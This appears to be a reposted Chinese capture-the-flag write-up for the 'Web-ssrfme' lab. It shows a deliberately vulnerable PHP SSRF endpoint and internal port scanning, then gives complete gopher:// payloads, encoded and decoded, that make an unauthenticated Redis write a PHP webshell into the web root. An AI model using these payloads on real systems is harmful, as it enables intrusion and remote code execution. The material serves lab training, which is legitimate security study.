Web-ssrfme

news2024/11/13 9:26:14

文章目录

  • 环境
  • 分析
  • 攻击

环境

首先下载资源包,Ubuntu通过docker拉取环境。

docker-compose up -d

分析

<?php
highlight_file(__file__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['url'])){
    $url = $_GET['url'];

    if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
    {

        die('No, No, No!');
    }
    curl($url);
}
if(isset($_GET['info'])){
    phpinfo();
}
?>

查看代码发现,存在url接收参数,传递参数尝试是否含有ssrf。
在这里插入图片描述
发现确实存在ssrf。
但是查看代码发现,过滤了file、dict、localhost等。
过滤dict是为了防止探测端口。
在这里插入图片描述
过滤file是为了防止读取文件。
在这里插入图片描述
查看代码发现,如果传递参数info,那么会打印phpinfo(),尝试看看有没有有用的线索。
在这里插入图片描述
当前主机的内网IP为172.20.0.3.
那么咱们尝试url为内网IP能不能有打印的东西。
在这里插入图片描述
发现打印了两次,也就是读取了两次这个文件。
那么尝试利用内网IP进行探测端口,这里使用burp。
在这里插入图片描述
从这里看,只开放了80端口,那没有什么用。
那去探测内网中是否存在其他服务器。
在这里插入图片描述
扫出来发现只有.2和.3存在怀疑。
尝试.2
在这里插入图片描述
确实存在web服务。那么扫描.2的端口
在这里插入图片描述
很明显,6379和80端口开着。
访问内网的.2的6379端口,出现了redis的报错。
那么就可以尝试redis未授权访问攻击了。
在这里插入图片描述

攻击

尝试使用gopherus工具打一下。
先尝试执行id,路径先选择默认。记得修改IP地址为内网IP地址。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

先解码查看
flushall是清空所有数据

gopher://172.20.0.2:6379/_*1
$8
flushall
*3
$3
set
$1
1
$23


<?php system(`id`);


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

在这里插入图片描述
查看是否存在这个shell.php文件。
在这里插入图片描述
那么就是上传失败
再次使用url进行编码。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发现一直在转圈圈。那么基本就是未写入。
那么尝试扫描路径,尝试寻找权限低的文件插入。
在这里插入图片描述
发现存在http://192.168.61.133:8091/?url=http://172.20.0.2:80/upload
尝试在这个里面写webshell。
在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2423%0D%0A%0A%0A%3C%3Fphp%20system%28%60id%60%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再次使用url进行编码并且进行攻击。

gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

写入成功,但是没有执行
在这里插入图片描述
写拿flag的payload。

<?php system(\"cat /flag\");?>

在这里插入图片描述

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20systemctl%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

以上帝视角发现成功。
记得二次编码。
在这里插入图片描述
在这里插入图片描述
也成功了
接下来就是写反弹shell了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2070430.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开源在线文档管理工具MrDoc

MrDoc&#xff0c;也被称为觅思文档或觅道文档&#xff0c;是一款基于Python开发的在线文档系统。它支持Markdown和所见即所得的富文本编辑&#xff0c;适合个人和小型团队作为文档、笔记和知识管理工具。 开源地址&#xff1a;MrDoc: MrDoc觅思文档&#xff0c;适合于个人和中…

Vue | 简单说说 Vuex 实现响应式的原理

Vuex 通过结合 Vue.js 的响应式系统实现了状态的响应式。Vuex 的状态存储于 Vue 的 data 对象中&#xff0c;这确保了对状态的任何 mutation 都是响应式的。 Vuex 使用单一状态树&#xff0c;并通过响应式来进行状态管理。其响应式的实现主要依赖于 Vue 的响应式系统。 Vuex 的…

Linux简单介绍(1)

一、Linux简介与安装 1.1 计算机的相关概念 1. 什么是计算机? 能够接收使用者输入的指令与数据&#xff0c;经由中央处理器的算术与逻辑单元运算处理后&#xff0c;以产生或存储有用的新数据。比如计算器&#xff0c;手机&#xff0c;汽车导航系统&#xff0c;提款机&am…

借题《黑神话悟空》,聊聊UE5 游戏开发中基本的 C++ 概念

最近火的一塌糊涂的《黑神话悟空》就是用UE5引擎开发的。借题发挥&#xff0c;今天讲讲UE游戏开中的一些C基本概念&#xff1b; 编写代码与蓝图&#xff08;可视化脚本&#xff09;相结合具有独特的功能&#xff0c;您需要利用这些功能来实现两全其美。编程可以帮助创建更复杂…

DevEcoStudio启动模拟器提示未开启Hyper-V

处理方式&#xff1a;&#xff08;win11专业版系统&#xff09; 勾选Hyper-V。 如果提示无法安装Hyper-v&#xff1a;该固件中的虚拟化支持被禁用。如下图&#xff1a; 需要进入BIOS启用虚拟化技术。 这个根据电脑主板不一样&#xff0c;操作方法不同&#xff0c;请自行搜索处…

LCD模组驱动开发

Linux 5.15 内核适配 驱动勾选 由于使用的是 SPI0&#xff0c;所以 TinyVision 的 LCD 模块并不支持使用MIPI-DBI进行驱动&#xff0c;这里我们使用普通的SPI模拟时序。 勾选 SPI 驱动 这里我们使用 SPI-NG 驱动&#xff0c;勾选 <*> SPI NG Driver Support for Allw…

Apifox测试SOAP接口教程

文章目录 I 请求webservice接口使用Apifox测试工具来测试soap接口配合Charles测试soap接口(前提:允许使用系统代理)使用hutool的SoapClient调用soap接口II 扩展知识webService三要素SOAP消息组成(SOAP请求消息的格式)浏览器访问暴露出的soap接口需求: AIS数据对接给其他平…

画板555

p41 这两个地 都是 板框这里按 Q可以改单位放置在原点p42 布局 和原理图一样都是 模块化 布局 (一样的放一起)原理图中选中 PCB里也会选中位号 布局时 一般放在中间因为在别的地可能会影响布局全选后 布局里的属性位置不用全选也行点击查找全部 就选上了 能看到就行板框确定好…

leetcode47. 全排列 II有重复元素的全排列,深度优先搜索

leetcode47. 全排列 II/有重复元素的全排列 给定一个可包含重复数字的序列 nums &#xff0c;按任意顺序 返回所有不重复的全排列。 示例 1&#xff1a; 输入&#xff1a;nums [1,1,2] 输出&#xff1a; [[1,1,2], [1,2,1], [2,1,1]] 示例 2&#xff1a; 输入&#xff1a;…

【数据结构4】树的实例-模拟文件系统、二叉树的遍历(先序遍历、中序遍历、后序遍历、层次遍历)

1 树和二叉树 2 树的实例-模拟文件系统 3 二叉树 3.1 二叉树的遍历 二叉树的先序遍历 二叉树的中序遍历 二叉树的后序遍历 二叉树的层次遍历 1 树 树是一种数据结构 比如:目录结构 树是一种可以递归定义的数据结构树是由n个节点组成的集合:如果n0&#xff0c;那这是一棵空树;如…

测试用例(还需要输入1个字)

近期机缘巧合&#xff0c;连续写2个项目的测试用例。第一个项目&#xff0c;纯属没有办法&#xff0c;参与该项目的现在就只剩我一个人了&#xff0c;只能自己写了&#xff0c;这不&#xff0c;我专门跑到客户那啥都不干&#xff0c;写文档写了2天&#xff1b;第二个项目&#…

如何使用gewe开发微信机器人

本文介绍了如何利用GeWe框架开发一个功能丰富的微信智能机器人。GeWe是一个开发协议&#xff0c;为微信机器人提供了强大的功能支持&#xff0c;包括关键字回复、自动通过好友和自动发朋友圈等特性。我们将通过一个简单的示例演示如何在GeWe框架下实现这些功能&#xff0c;并附…

模型 空雨伞

列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。观察现状&#xff0c;分析原因&#xff0c;制定行动。 1 空雨伞模型的应用 1.1 空雨伞模型应用之API对接的决策 某公司产品经理A君接到了与合作方对接API的任务。合作方对公司的中台API有特定的需求&…

有什么办法能恢复郎科u盘的数据?常用方法分享

在数字化时代&#xff0c;数据已成为我们生活与工作中不可或缺的一部分。郎科U盘&#xff0c;以其便携、稳定的特性&#xff0c;成为了许多人存储重要文件的首选。然而&#xff0c;面对突如其来的数据丢失&#xff0c;无论是误删、格式化还是病毒侵袭等&#xff0c;都足以让人心…

【Qt】常见控件 —— QWidget(上)

文章目录 QWidget 的基本介绍QWidget 的 enable 属性QWidget 的 geometry属性QWidget 的 windowTitle属性 QWidget 的基本介绍 Qt 中 的 各种控件 都继承自 QWidget类 在 Qt designer 右侧 就显示出 QWidget的各种属性 并且也可以直接进行编辑 QWidget 的 enable 属性 enable…

ETAS工具链自动化实战指南<二>

----自动化不仅是一种技术&#xff0c;更是一种思维方式&#xff0c;它将帮助我们在快节奏的工作环境中保持领先&#xff01; 目录 往期推荐 RTA-A2L工具概览 RTA-A2L的输出文件 常用命令行参数 场景1&#xff1a;通过 MCSD 文件来生成 .a2l 文件并更新地址 命令用法 命…

getchar(),putchar(),EOF的详细解释

文章目录 getchar(),putchar(),EOF的意义和作用一、相关函数putchar( )getchar&#xff08;&#xff09; 二、EOF 的值三、总结 getchar(),putchar(),EOF的意义和作用 在 C 语言中&#xff0c;EOF 是 End Of File 的缩写&#xff0c;即文件结束标志。 在读取文件时&#xff0…

趣味算法------饮料换购

目录 题目描述&#xff1a; 解题思路&#xff1a; 具体代码&#xff1a; C语言版本&#xff1a; python版本&#xff1a; 题目描述&#xff1a; 乐羊羊饮料厂正在举办一次促销优惠活动。乐羊羊C型饮料&#xff0c;凭3个瓶盖可以再换一瓶C型饮料&#xff0c;并且可以…

SCI论文系统各阶段状态含义,一文带你全面掌握!告别投稿小白!

知识小站 SCI&#xff08;Science Citation Index&#xff0c;科学引文索引&#xff09;是由美国科学信息研究所&#xff08;Institute for Scientific Information, ISI&#xff09;创建的一个引文数据库。它收录了全球各学科领域中最具影响力的学术期刊&#xff0c;涵盖自然…

尝试给OpenHarmony4.0增加可以在动态库中使用的日志模块

尝试给OpenHarmony4.0增加可以在动态库中使用的日志模块 前言一、资源来源二、实践步骤1.修改OH内核并编译2.动态库增加welog打印3.设备验证打完收工 总结参考 前言 最近在搞OpenHarmony4.0蓝牙模块的适配&#xff0c;最主要的工作就是在libbt_vendor.z.so这个库的编写修改&am…